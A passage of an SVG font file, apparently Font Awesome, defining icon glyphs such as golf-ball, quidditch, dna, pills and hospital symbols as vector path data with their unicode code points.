l-28.2998 28.2998l22.5996 22.6006l28.2998 -28.3008c3.10059 -3.09961 8.2002 -3.09961 11.2998 0l11.3008 11.3008c3.09961 3.09961 3.09961 8.19922 0 11.2998l-28.3008 28.2998l22.6006 22.7002l28.2998 -28.2998c3.09961 -3.10059 8.2002 -3.10059 11.2998 0
l11.2998 11.2998c3.10059 3.09961 3.10059 8.2002 0 11.2998l-28.2998 28.2998l28.2998 28.2998c3.10059 3.10059 3.10059 8.2002 0 11.3008l-11.2998 11.2998c-3.09961 3.09961 -8.2002 3.09961 -11.2998 0z" />
    <glyph glyph-name="golf-ball" unicode="&#xf450;" horiz-adv-x="416" 
d="M96 32h224c0 -17.7002 -14.2998 -32 -32 -32h-16c-17.7002 0 -32 -14.2998 -32 -32v-20c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v20c0 17.7002 -14.2998 32 -32 32h-16c-17.7002 0 -32 14.2998 -32 32zM416 240
c0 -74.2002 -39 -139.2 -97.5 -176h-221c-58.5 36.7998 -97.5 101.8 -97.5 176c0 114.9 93.0996 208 208 208s208 -93.0996 208 -208zM235.9 196.1c18.2998 0 33.0996 14.8008 33.0996 33.1006c0 14.3994 -9.2998 26.2998 -22.0996 30.8994
c9.59961 -26.7998 -15.6006 -51.2998 -41.9004 -41.8994c4.59961 -12.7998 16.5 -22.1006 30.9004 -22.1006zM285 149.2c0 14.3994 -9.2998 26.2998 -22.0996 30.8994c9.59961 -26.7998 -15.6006 -51.2998 -41.9004 -41.8994
c4.59961 -12.7998 16.5 -22.1006 30.9004 -22.1006c18.2998 0 33.0996 14.9004 33.0996 33.1006zM349 213.2c0 14.3994 -9.2998 26.2998 -22.0996 30.8994c9.59961 -26.7998 -15.6006 -51.2998 -41.9004 -41.8994c4.59961 -12.7998 16.5 -22.1006 30.9004 -22.1006
c18.2998 0 33.0996 14.9004 33.0996 33.1006z" />
    <glyph glyph-name="hockey-puck" unicode="&#xf453;" 
d="M0 288c0 53 114.6 96 256 96s256 -43 256 -96s-114.6 -96 -256 -96s-256 43 -256 96zM0 205.8c113.5 -82.3994 398.6 -82.2998 512 0v-109.8c0 -53 -114.6 -96 -256 -96s-256 43 -256 96v109.8z" />
    <glyph glyph-name="quidditch" unicode="&#xf458;" horiz-adv-x="640" 
d="M256.5 231.2l86.7002 -109.2s-16.6006 -102.4 -76.6006 -150.1c-59.8994 -47.7002 -266.6 -34.1006 -266.6 -34.1006s3.7998 23.1006 11 55.4004l94.5996 112.2c4 4.69922 -0.899414 11.5996 -6.59961 9.5l-60.4004 -22.1006c14.4004 41.7002 32.7002 80 54.6006 97.5
c59.8994 47.7998 163.3 40.9004 163.3 40.9004zM494.5 96.2002c44 0 79.7998 -35.7002 79.7998 -79.9004c0 -44.0996 -35.7002 -79.8994 -79.7998 -79.8994s-79.7998 35.7998 -79.7998 79.8994c0 44.1006 35.7998 79.9004 79.7998 79.9004zM636.5 417
c5.5 -6.90039 4.40039 -17 -2.5 -22.5l-232.5 -177.9l34.0996 -42.8994c5.10059 -6.40039 1.7002 -15.9004 -6.2998 -17.6006l-58.7998 -12.3994l-86.7002 109.2l25.2998 54.5996c3.5 7.40039 13.5 8.59961 18.6006 2.2002l34.0996 -43l232.5 177.899
c6.90039 5.40039 16.9004 4.30078 22.4004 -2.59961z" />
    <glyph glyph-name="square-full" unicode="&#xf45c;" 
d="M512 -64h-512v512h512v-512z" />
    <glyph glyph-name="table-tennis" unicode="&#xf45d;" 
d="M496.2 151.5c-64.1006 43.2002 -149.5 27.9004 -195.601 -34.2002l-211.5 211.5l56 56.1006c83.9004 84.0996 220 84.0996 303.9 0c63 -63.1006 78.7002 -155.601 47.2002 -233.4zM278.3 71.7998c-3.7002 -12.7002 -6.2998 -25.8994 -6.2002 -39.7002
c0 -19.5 3.90039 -38.0996 11 -55.0996c-25.6992 2.7998 -50.5996 13.5996 -70.2998 33.2998l-35.7002 35.7002l-89.2998 -103.3c-7.5 -8.60059 -20.7002 -9.10059 -28.7002 -1l-53.3994 53.5c-8.10059 8.09961 -7.60059 21.2998 1 28.7998l103 89.4004l-34.5 34.5996
c-39 39.0996 -44.6006 98.7998 -17.2998 144.1zM416 128c53 0 96 -43 96 -96s-43 -96 -96 -96s-96 43 -96 96s43 96 96 96z" />
    <glyph glyph-name="volleyball-ball" unicode="&#xf45f;" 
d="M231.39 204.52c-60.8945 -37.4102 -126.348 -123.516 -146.1 -192.199c-20.248 19.1953 -45.7393 55.5283 -56.9004 81.0996c22.8008 94.4004 89.5 174.4 180.301 216.8c11.8887 -27.9648 22.0586 -75.3184 22.6992 -105.7zM194.49 338.92
c-84 -39.5 -149 -108.4 -182.4 -191.5c-19.7998 109.3 34 212.4 125 262.2c19.0098 -16.9424 44.7246 -48.6162 57.4004 -70.7002zM382.09 173.82c-30.1689 3.6709 -76.2686 18.5352 -102.899 33.1797c-1.9541 71.4844 -43.8428 171.263 -93.5 222.72
c47.2998 14 84.1992 10.2002 98.8994 8.5c70.2002 -66.8994 106.101 -164.6 97.5 -264.399zM257.39 164.32c49.7002 -26.8008 104 -40.8008 158.601 -40.9004c22.6787 0.140625 58.9219 4.7998 80.8994 10.4004c-6.55762 -27.2012 -25.4639 -67.4766 -42.1992 -89.9004
c-93 -27.2998 -195.5 -9.5 -277.5 47.7998c18.2803 24.2959 54.21 56.8213 80.1992 72.6006zM159.09 64.6201c53.6006 -37.2998 144 -78.2002 256.9 -62.1006c-38.1611 -32.3467 -109.732 -58.5986 -159.758 -58.5986c-38.5156 0 -96.416 16.3516 -129.242 36.499
c6.39941 29.7998 16.8994 58.2002 32.0996 84.2002zM339.39 425.22c95.9004 -34.2998 164.601 -125.6 164.601 -233.399c0 -2 -0.299805 -4 -0.299805 -6c-23.9658 -7.83887 -63.8799 -14.2012 -89.0947 -14.2012c-0.166992 0 -0.438477 0.000976562 -0.605469 0.000976562
c7.89941 92.3994 -19.2998 183.2 -74.6006 253.6z" />
    <glyph glyph-name="allergies" unicode="&#xf461;" horiz-adv-x="448" 
d="M416 336c17.5996 0 32 -14.4004 32 -32v-176.1c-0.200195 -14 -1.90039 -28.6006 -5.09961 -42.3008l-26.5 -112.699c-5.10059 -21.7002 -24.4004 -37 -46.7002 -37h-197.601c-15.2998 0 -29.7998 7.39941 -38.7998 19.7998l-125.6 172.7
c-13 17.8994 -9.10059 42.8994 8.7998 55.8994s42.9004 9.10059 55.9004 -8.7998l23.5996 -32.5v241c0 17.5996 14.4004 32 32 32s32 -14.4004 32 -32v-152c0 -4.40039 3.59961 -8 8 -8h16c4.40039 0 8 3.59961 8 8v184c0 17.5996 14.4004 32 32 32s32 -14.4004 32 -32v-184
c0 -4.40039 3.59961 -8 8 -8h16c4.40039 0 8 3.59961 8 8v152c0 17.5996 14.4004 32 32 32s32 -14.4004 32 -32v-152c0 -4.40039 3.59961 -8 8 -8h16c4.40039 0 8 3.59961 8 8v72c0 17.5996 14.4004 32 32 32zM176 32c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16
s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM176 128c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM240 0c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM240 96c8.7998 0 16 7.2002 16 16
s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM304 64c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM336 0c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM368 128
c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16z" />
    <glyph glyph-name="band-aid" unicode="&#xf462;" horiz-adv-x="640" 
d="M0 288c0 35.2998 28.7002 64 64 64h96v-320h-96c-35.2998 0 -64 28.7002 -64 64v192zM576 352c35.2998 0 64 -28.7002 64 -64v-192c0 -35.2998 -28.7002 -64 -64 -64h-96v320h96zM192 32v320h256v-320h-256zM368 264c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24
s24 10.7002 24 24s-10.7002 24 -24 24zM368 168c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24s24 10.7002 24 24s-10.7002 24 -24 24zM272 264c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24s24 10.7002 24 24s-10.7002 24 -24 24zM272 168
c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24s24 10.7002 24 24s-10.7002 24 -24 24z" />
    <glyph glyph-name="box" unicode="&#xf466;" 
d="M509.5 263.4c0.799805 -2.40039 0.799805 -4.90039 1.2002 -7.40039h-238.7v192h141.4c20.6992 0 39 -13.2002 45.5 -32.7998zM240 448v-192h-238.7c0.400391 2.5 0.400391 5 1.2002 7.40039l50.5996 151.8c6.5 19.5996 24.8008 32.7998 45.5 32.7998h141.4zM0 224h512
v-240c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v240z" />
    <glyph glyph-name="boxes" unicode="&#xf468;" horiz-adv-x="576" 
d="M560 160c8.7998 0 16 -7.2002 16 -16v-192c0 -8.7998 -7.2002 -16 -16 -16h-224c-8.7998 0 -16 7.2002 -16 16v192c0 8.7998 7.2002 16 16 16h80v-96l32 21.2998l32 -21.2998v96h80zM176 224c-8.7998 0 -16 7.2002 -16 16v192c0 8.7998 7.2002 16 16 16h80v-96
l32 21.2998l32 -21.2998v96h80c8.7998 0 16 -7.2002 16 -16v-192c0 -8.7998 -7.2002 -16 -16 -16h-224zM240 160c8.7998 0 16 -7.2002 16 -16v-192c0 -8.7998 -7.2002 -16 -16 -16h-224c-8.7998 0 -16 7.2002 -16 16v192c0 8.7998 7.2002 16 16 16h80v-96l32 21.2998
l32 -21.2998v96h80z" />
    <glyph glyph-name="briefcase-medical" unicode="&#xf469;" 
d="M464 320c26.5 0 48 -21.5 48 -48v-288c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v288c0 26.5 21.5 48 48 48h80v48c0 26.5 21.5 48 48 48h160c26.5 0 48 -21.5 48 -48v-48h80zM192 352v-32h128v32h-128zM352 104v48c0 4.40039 -3.59961 8 -8 8h-56v56
c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8v-56h-56c-4.40039 0 -8 -3.59961 -8 -8v-48c0 -4.40039 3.59961 -8 8 -8h56v-56c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8v56h56c4.40039 0 8 3.59961 8 8z" />
    <glyph glyph-name="burn" unicode="&#xf46a;" horiz-adv-x="384" 
d="M192 448c111.8 -100.9 192 -220.6 192 -300.5c0 -124.5 -79 -211.5 -192 -211.5s-192 87 -192 211.5c0 79.5996 79.7002 199.2 192 300.5zM192 0c56.5 0 96 39 96 94.7998c0 13.5 -4.59961 61.5 -96 161.2c-91.4004 -99.7002 -96 -147.7 -96 -161.2
c0 -55.7998 39.5 -94.7998 96 -94.7998z" />
    <glyph glyph-name="capsules" unicode="&#xf46b;" horiz-adv-x="576" 
d="M555.3 147.9c36.2002 -51.7002 23.7002 -123 -28 -159.2c-20 -14 -42.7998 -20.7002 -65.5 -20.7002c-36.0996 0 -71.5996 17 -93.7998 48.7998l-131.2 187.3c-5.5 7.90039 -9.5 16.4004 -12.7998 25v-149.1c0 -61.9004 -50.0996 -112 -112 -112s-112 50.0996 -112 112
v224c0 61.9004 50.0996 112 112 112c60 0 108.5 -47.2002 111.4 -106.5c7.7998 21 21.7998 40 41.5 53.7998c20 14 42.8994 20.7002 65.5 20.7002c36 0 71.5 -17 93.7998 -48.7998zM160 192v112c0 26.5 -21.5 48 -48 48s-48 -21.5 -48 -48v-112h96zM354.8 147.1
l82.5 57.7002l-65.5996 93.7002c-9.40039 13.5 -24.7998 21.5 -41.2998 21.5c-10.3008 0 -20.3008 -3.09961 -28.8008 -9.09961c-11 -7.7002 -18.3994 -19.3008 -20.6992 -32.5c-2.40039 -13.2002 0.599609 -26.6006 8.2998 -37.6006z" />
    <glyph glyph-name="clipboard-check" unicode="&#xf46c;" horiz-adv-x="384" 
d="M336 384c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h80c0 35.2998 28.7002 64 64 64s64 -28.7002 64 -64h80zM192 408c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24s24 10.7002 24 24
s-10.7002 24 -24 24zM313.2 176.2c4.7002 4.7002 4.7998 12.2002 0.0996094 17l-28.2002 28.3994c-4.69922 4.7002 -12.2998 4.80078 -17 0.100586l-106 -105.2l-46 46.4004c-4.69922 4.69922 -12.2998 4.7998 -17 0.0996094l-28.3994 -28.2002
c-4.7002 -4.7002 -4.7998 -12.2998 -0.100586 -17l82.6006 -83.2998c4.7002 -4.7002 12.2998 -4.7998 17 -0.0996094z" />
    <glyph glyph-name="clipboard-list" unicode="&#xf46d;" horiz-adv-x="384" 
d="M336 384c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h80c0 35.2998 28.7002 64 64 64s64 -28.7002 64 -64h80zM96 24c13.2998 0 24 10.7002 24 24s-10.7002 24 -24 24s-24 -10.7002 -24 -24
s10.7002 -24 24 -24zM96 120c13.2998 0 24 10.7002 24 24s-10.7002 24 -24 24s-24 -10.7002 -24 -24s10.7002 -24 24 -24zM96 216c13.2998 0 24 10.7002 24 24s-10.7002 24 -24 24s-24 -10.7002 -24 -24s10.7002 -24 24 -24zM192 408c-13.2998 0 -24 -10.7002 -24 -24
s10.7002 -24 24 -24s24 10.7002 24 24s-10.7002 24 -24 24zM320 40v16c0 4.40039 -3.59961 8 -8 8h-144c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8zM320 136v16c0 4.40039 -3.59961 8 -8 8h-144
c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8zM320 232v16c0 4.40039 -3.59961 8 -8 8h-144c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8z" />
    <glyph glyph-name="diagnoses" unicode="&#xf470;" horiz-adv-x="640" 
d="M496 192c-8.7998 0 -16 7.2002 -16 16s7.2002 16 16 16s16 -7.2002 16 -16s-7.2002 -16 -16 -16zM320 272c-48.5 0 -88 39.5 -88 88s39.5 88 88 88s88 -39.5 88 -88s-39.5 -88 -88 -88zM59.7998 84l-17.7002 26.7002c-8.7998 13.2998 -7.59961 34.5996 10 45.0996
c7.40039 4.40039 17.5 10 28.7002 16c31.6006 -27.2998 79 -4.2002 79.2002 36c47.0996 17.7002 103 32.2002 160 32.2002c45.0996 0 89.2998 -9.2002 129.2 -21.7998c-11.7002 -52.9004 59.5996 -81.2002 87.7002 -35.1006
c21.3994 -10.3994 39.1992 -20.2998 51.0996 -27.3994c17.5996 -10.5 18.7998 -31.9004 10 -45.1006l-17.7998 -26.6992c-10.2002 -15.1006 -29.2998 -17.8008 -42.9004 -9.80078c-16.2002 9.60059 -56.2002 31.8008 -105.3 48.6006v-90.7002h-224v90.7998
c-49.0996 -16.8994 -89.0996 -39 -105.3 -48.5996c-13.6006 -8 -32.7002 -5.5 -42.9004 9.7998zM368 104c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24s24 10.7002 24 24s-10.7002 24 -24 24zM272 200c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24
s24 10.7002 24 24s-10.7002 24 -24 24zM112 192c-8.7998 0 -16 7.2002 -16 16s7.2002 16 16 16s16 -7.2002 16 -16s-7.2002 -16 -16 -16zM624 0c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-608c-8.7998 0 -16 7.2002 -16 16v32
c0 8.7998 7.2002 16 16 16h608z" />
    <glyph glyph-name="dna" unicode="&#xf471;" horiz-adv-x="448" 
d="M0.0996094 -46.0996c5.2002 42.8994 31.4004 153.899 159.9 238.1c-128.6 84.2002 -154.7 195.2 -159.9 238.1c-1.09961 9.5 6.40039 17.8008 16 17.8008l32.3008 0.0996094c8.09961 0.0996094 14.8994 -5.90039 16 -13.9004
c0.699219 -5 1.7998 -11.0996 3.39941 -18.0996h312.4c1.59961 7 2.7002 13.2002 3.39941 18.0996c1.10059 8 7.90039 13.9004 16 13.9004l32.4004 -0.0996094c9.59961 0 17 -8.30078 15.9004 -17.8008c-5.80078 -47.8994 -37.4004 -181.199 -209.5 -266.699
c-31.7002 -15.8008 -57.4004 -33.3008 -78.7002 -51.4004h127.6c-5.59961 4.7998 -10.7998 9.59961 -17 14.2002c21.4004 11.2002 40.9004 23 58.5 35.3994c93.2998 -78.6992 114.3 -169.8 118.9 -207.699c1.2002 -9.5 -6.2998 -17.8008 -15.9004 -17.8008
l-32.2998 -0.0996094c-8.09961 -0.0996094 -14.9004 5.90039 -16 13.9004c-0.599609 4.89941 -1.90039 11.1992 -3.5 18.0996h-312.3c-1.60059 -7 -2.7002 -13.2002 -3.40039 -18.0996c-1.09961 -8 -7.89941 -13.9004 -16 -13.9004l-32.2998 0.0996094
c-9.59961 0 -17 8.30078 -15.9004 17.8008zM224 228.4c25.0996 13.5996 46.4004 28.3994 64.2002 43.5996h-128.5c17.8994 -15.2002 39.2002 -29.9004 64.2998 -43.5996zM355.1 352h-262.1c5.7002 -10.4004 12.7002 -21.0996 21 -32h220.1
c8.2002 10.9004 15.2002 21.5996 21 32zM92.9004 32h261.6c-5.7998 10.4004 -12.9004 21.0996 -21.2002 32h-219.399c-8.2002 -10.9004 -15.2002 -21.5996 -21 -32z" />
    <glyph glyph-name="dolly" unicode="&#xf472;" horiz-adv-x="576" 
d="M294.2 170.3l-53 159.4c-2.7998 8.2998 1.7002 17.3994 10.0996 20.2002l61.6006 20.5l33.0996 -99.4004l60.7002 20.0996l-33.1006 99.4004l61.1006 20.4004c8.2998 2.7998 17.3994 -1.7002 20.2002 -10.1006l60.3994 -181.2
c2.7998 -8.2998 -1.7002 -17.3994 -10.0996 -20.1992l-161.5 -53.8008c-14.7998 11.3008 -31.5 19.7002 -49.5 24.7002zM575.2 121.6c2.7998 -8.39941 -1.7998 -17.3994 -10.1006 -20.1992l-213.3 -71.2002c-1.09961 -57.7998 -53.2002 -103.3 -113.399 -92.6006
c-39.4004 6.90039 -71.2002 39.8008 -77.3008 79.2002c-5.69922 36.9004 9.90039 70.1006 36 90.5l-92.1992 276.7h-88.9004c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h112c13.7998 0 26 -8.7998 30.4004 -21.9004l99.3994 -298.199
c29.9004 -0.600586 56.2998 -15 73.5 -37l213.5 71.1992c8.2998 2.80078 17.4004 -1.69922 20.2002 -10.0996zM256 -16c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48z" />
    <glyph glyph-name="dolly-flatbed" unicode="&#xf474;" horiz-adv-x="640" 
d="M208 128c-8.7998 0 -16 7.2002 -16 16v256c0 8.7998 7.2002 16 16 16h144v-128l48 32l48 -32v128h144c8.7998 0 16 -7.2002 16 -16v-256c0 -8.7998 -7.2002 -16 -16 -16h-384zM624 64c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-82.7998
c1.7002 -5 2.89941 -10.4004 2.89941 -16c0 -26.5 -21.5 -48 -48 -48s-48 21.5 -48 48c0 5.59961 1.10059 11 2.90039 16h-197.9c1.7002 -5 2.90039 -10.4004 2.90039 -16c0 -26.5 -21.5 -48 -48 -48s-48 21.5 -48 48c0 5.59961 1.09961 11 2.90039 16h-82.9004
c-8.7998 0 -16 7.2002 -16 16v368h-48c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h96c8.7998 0 16 -7.2002 16 -16v-368h496z" />
    <glyph glyph-name="file-medical" unicode="&#xf477;" horiz-adv-x="384" 
d="M377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7zM224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136z
M288 152c0 4.40039 -3.59961 8 -8 8h-56v56c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8v-56h-56c-4.40039 0 -8 -3.59961 -8 -8v-48c0 -4.40039 3.59961 -8 8 -8h56v-56c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8v56h56
c4.40039 0 8 3.59961 8 8v48z" />
    <glyph glyph-name="file-medical-alt" unicode="&#xf478;" horiz-adv-x="448" 
d="M288 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v168h70.0996l34.8008 -69.5c2.89941 -5.90039 11.3994 -5.90039 14.2998 0l56.7998 113.7l22.0996 -44.2002h89.9004c8.7998 0 16 7.2002 16 16
s-7.2002 16 -16 16h-70.2002l-34.7002 69.5c-2.89941 5.90039 -11.3994 5.90039 -14.2998 0l-56.7998 -113.7l-19.9004 39.7998c-1.39941 2.7002 -4.19922 4.40039 -7.19922 4.40039h-140.9c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h56v232
c0 13.2998 10.7002 24 24 24h200v-136zM441 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7z" />
    <glyph glyph-name="first-aid" unicode="&#xf479;" horiz-adv-x="576" 
d="M0 368c0 26.5 21.5 48 48 48h48v-448h-48c-26.5 0 -48 21.5 -48 48v352zM128 -32v448h320v-448h-320zM192 216v-48c0 -4.40039 3.59961 -8 8 -8h56v-56c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8v56h56c4.40039 0 8 3.59961 8 8v48
c0 4.40039 -3.59961 8 -8 8h-56v56c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8v-56h-56c-4.40039 0 -8 -3.59961 -8 -8zM528 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-48v448h48z" />
    <glyph glyph-name="hospital-alt" unicode="&#xf47d;" horiz-adv-x="576" 
d="M544 352c17.7002 0 32 -14.2998 32 -32v-368c0 -8.7998 -7.2002 -16 -16 -16h-544c-8.7998 0 -16 7.2002 -16 16v368c0 17.7002 14.2998 32 32 32h128v64c0 17.7002 14.2998 32 32 32h192c17.7002 0 32 -14.2998 32 -32v-64h128zM160 12v40c0 6.59961 -5.40039 12 -12 12
h-40c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM160 140v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM320 12v40
c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM320 140v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40
c6.59961 0 12 5.40039 12 12zM336 310v20c0 3.2998 -2.7002 6 -6 6h-26v26c0 3.2998 -2.7002 6 -6 6h-20c-3.2998 0 -6 -2.7002 -6 -6v-26h-26c-3.2998 0 -6 -2.7002 -6 -6v-20c0 -3.2998 2.7002 -6 6 -6h26v-26c0 -3.2998 2.7002 -6 6 -6h20c3.2998 0 6 2.7002 6 6v26h26
c3.2998 0 6 2.7002 6 6zM480 12v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM480 140v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40
c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12z" />
    <glyph glyph-name="hospital-symbol" unicode="&#xf47e;" 
d="M256 448c141.4 0 256 -114.6 256 -256s-114.6 -256 -256 -256s-256 114.6 -256 256s114.6 256 256 256zM368 72v240c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8v-88h-96v88c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8v-240
c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8v88h96v-88c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8z" />
    <glyph glyph-name="id-card-alt" unicode="&#xf47f;" horiz-adv-x="576" 
d="M528 384c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h144v-96h192v96h144zM288 224c-35.2998 0 -64 -28.7002 -64 -64s28.7002 -64 64 -64s64 28.7002 64 64s-28.7002 64 -64 64zM381.3 0
c10.4004 0 18.7998 10 15.6006 19.7998c-8.40039 25.7002 -32.5 44.2002 -60.9004 44.2002h-8.2002c-12.2002 -5.09961 -25.7002 -8 -39.7998 -8s-27.5 2.90039 -39.7998 8h-8.2002c-28.5 0 -52.5996 -18.5996 -60.9004 -44.2002
c-3.19922 -9.7998 5.2002 -19.7998 15.6006 -19.7998h186.6zM352 416v-96h-128v96c0 17.7002 14.2998 32 32 32h64c17.7002 0 32 -14.2998 32 -32z" />
    <glyph glyph-name="notes-medical" unicode="&#xf481;" horiz-adv-x="384" 
d="M336 384c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h80c0 35.2998 28.7002 64 64 64s64 -28.7002 64 -64h80zM192 408c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24s24 10.7002 24 24
s-10.7002 24 -24 24zM288 104v48c0 4.40039 -3.59961 8 -8 8h-56v56c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8v-56h-56c-4.40039 0 -8 -3.59961 -8 -8v-48c0 -4.40039 3.59961 -8 8 -8h56v-56c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8
v56h56c4.40039 0 8 3.59961 8 8zM288 296v16c0 4.40039 -3.59961 8 -8 8h-176c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h176c4.40039 0 8 3.59961 8 8z" />
    <glyph glyph-name="pallet" unicode="&#xf482;" horiz-adv-x="640" 
d="M144 192c-8.7998 0 -16 7.2002 -16 16v224c0 8.7998 7.2002 16 16 16h112v-128l64 32l64 -32v128h112c8.7998 0 16 -7.2002 16 -16v-224c0 -8.7998 -7.2002 -16 -16 -16h-352zM624 64h-48v-64h48c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-608
c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h48v64h-48c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h608c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16zM288 0v64h-160v-64h160zM512 0v64h-160v-64h160z" />
    <glyph glyph-name="pills" unicode="&#xf484;" horiz-adv-x="576" 
d="M112 416c61.9004 0 112 -50.0996 112 -112v-224c0 -61.9004 -50.0996 -112 -112 -112s-112 50.0996 -112 112v224c0 61.9004 50.0996 112 112 112zM160 192v112c0 26.5 -21.5 48 -48 48s-48 -21.5 -48 -48v-112h96zM299.7 221.7l210.8 -210.8
c3.5 -3.5 3.2002 -9.40039 -0.799805 -12.3008c-62.5 -45.2998 -150.101 -40.3994 -206.4 15.9004s-61.2002 143.9 -15.8994 206.4c2.89941 3.89941 8.7998 4.2998 12.2998 0.799805zM529.5 240.7c56.4004 -56.2998 61.2002 -143.8 15.9004 -206.4
c-2.90039 -3.89941 -8.80078 -4.2998 -12.3008 -0.799805l-210.8 210.8c-3.5 3.5 -3.2002 9.40039 0.799805 12.2998c62.5 45.3008 150.101 40.4004 206.4 -15.8994z" />
    <glyph glyph-name="prescription-bottle" unicode="&#xf485;" horiz-adv-x="384" 
d="M32 256v64h320v-352c0 -17.5996 -14.4004 -32 -32 -32h-256c-17.5996 0 -32 14.4004 -32 32v64h120c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-120v64h120c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-120v64h120c4.40039 0 8 3.59961 8 8v16
c0 4.40039 -3.59961 8 -8 8h-120zM360 448c13.2002 0 24 -10.7998 24 -24v-48c0 -13.2002 -10.7998 -24 -24 -24h-336c-13.2002 0 -24 10.7998 -24 24v48c0 13.2002 10.7998 24 24 24h336z" />
